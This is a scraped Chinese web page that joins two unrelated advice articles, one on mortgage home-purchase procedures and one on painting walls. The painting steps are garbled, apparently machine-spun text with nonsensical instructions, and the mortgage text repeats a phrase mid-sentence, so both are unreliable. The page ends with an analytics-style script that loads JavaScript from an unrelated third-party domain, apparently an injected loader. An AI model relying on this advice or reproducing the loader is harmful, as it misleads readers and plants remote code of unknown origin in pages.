按揭买房手续有哪些? 有哪些容易忽略的?

现在中国的房地产已经不是简单的居住的一个产业了，有很多的复杂的因素在里面。现在房价格居高不下，对于很多人来说房子也是奢侈品了，就算有很多的收入还算客观的话也是很难一下子把房款都付清，所以按揭买房已成为了现在很多人的付款方法，那么，按揭买房手续有哪些?有哪些容易忽略的?现在小编就给大家介绍一下。按揭买房手续有哪些?有哪些容易忽略的?所谓的按揭贷款即购房者以所购住房做抵押并由其所购买住房的房地产企业提供阶段性担保的房地产企业提供阶段性担保的个人住房贷款业务。购房者在办理按揭贷款买房时,一般是按照下列步骤办理按揭贷款手续:1、需要与房产开发商签购房合同。这里需要注意审查开发商是不是具有“五证”。2、支付首付款的时候,需要注意保存首付款收据。3、要到银行填写《个人房屋贷款申请表》。房产开发商一般都会与一家或几家银行签订合作协议,因此到与开发商有协议的银行办理按揭贷款协议,这样办理手续会方便些。带齐首付款收据、《商品房的买卖合同》、身份证、本市户口簿(如非本市户口提供一年以上暂住证明)、收入证明等原件及复印件到银行填写《个人房屋贷款申请表》。4、银行审查按揭贷款的相关申请。贷款行的信贷人员要对申请人提交的材料进行审查和逐级审批,如果认为符合银行的贷款条件,会通知申请人签订《个人房屋按揭贷款合同》,合同期限不超过30年。5、要到房产所在房管局办理《房屋他项权利证》,用以证明此房产上有银行的抵押权。到公证部门办理产权抵押公证。到保险公司办理房屋保险。6、在银行开立账户。选用委托扣除款方式还款的客户需与银行签订委托扣款协议,并在贷款行指定的营业网点开立还款专用的储蓄存折账户或储蓄卡、信用卡账户。同时,售房人要在贷款行开立售房结算账户或存款专户。7、发放贷款。通过审核并且办妥有关手续后,贷款行按照借款合同约定,将贷款直接转入借款人在贷款行开立的存款账户内,或将贷款一次或分次划入售房人在贷款行开立的存款账户内。8、如约还款。贷款人必须按借款合同约定的还款计划、还款方式偿还贷款本息,否则银行可以依法收回房屋。9、偿还完毕贷款。贷款本息结清后,注销抵押登记,购房者就成为房屋的真正人了。以上，小编给大家介绍了按揭买房手续有哪些?以及有哪些容易忽略的?按揭买房手续相对来说是较多的，但是并没有非常复杂，只是有需要一些相关的财力证明和抵押，如果是没有这些条件是不行的，所以消费者如果是要按揭买房的话，可以提前把这些资料准备好，这样才从容，还可以咨询相关人员怎样付款是最优惠的哦。

怎么样粉刷墙面的步骤有哪些来了解一下

粉刷墙面包括墙面粉刷，刮腻子等，墙面如果弄不好显得整个家都不好看了，有的人对于如何粉刷墙面不知道，什么都不懂所以在粉刷的时候工程队怎么刷他就以什么来，也不知道该注意哪些，大家是不是有很多人都存在这种问题呢，不过没关系看文章就可以。怎么样粉刷墙面的步骤有哪些?怎么样粉刷墙面的步骤1、首先购买合适的油漆工具和刷子。优质的工具可以涂上更厚的涂层，从而可以覆盖原有的背景颜色，并保证漆膜的耐久性。可以反复擦。怎么样粉刷墙面的步骤2、在涂上乳胶漆之前，应先填充接缝并弄平。应使用特殊清洁剂或水清洁墙壁或玻璃，然后擦干，清除墙壁上的灰尘或污垢。如果墙上有钉子和其他孔，请用腻子填充。​怎么样粉刷墙面的步骤3、然后用水调节乳胶漆，通过辊涂加入的水的比例通常控制在20%至30%(体积)的比例。如果水太多，乳胶漆可能会形成不良。怎么样粉刷墙面的步骤4、将涂料和水均匀搅拌，然后静置20分钟以达到消泡的目的，这样可以防止在墙上涂上乳胶漆后出现小孔或小气泡。怎么样粉刷墙面的步骤5、休息时间已过。必须涂漆。然后，用水润湿你的工具。例如，羊毛刷和负角的辊子用水润湿然后浸没。然后涂上油漆。步骤6、乳胶漆根据标准方法制备。这篇文章是关于如何粉刷墙面做出的介绍，我们看了文章之后相信大家都有了了解，知道怎么去粉刷，那么我们督促的时候就可以适当的把自己的想法告诉她们，粉刷墙面注意事项你们也都了解了，在粉刷的时候我们就多注意一些容易出问题的地方，以免后期还得重弄，谢谢望采纳。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();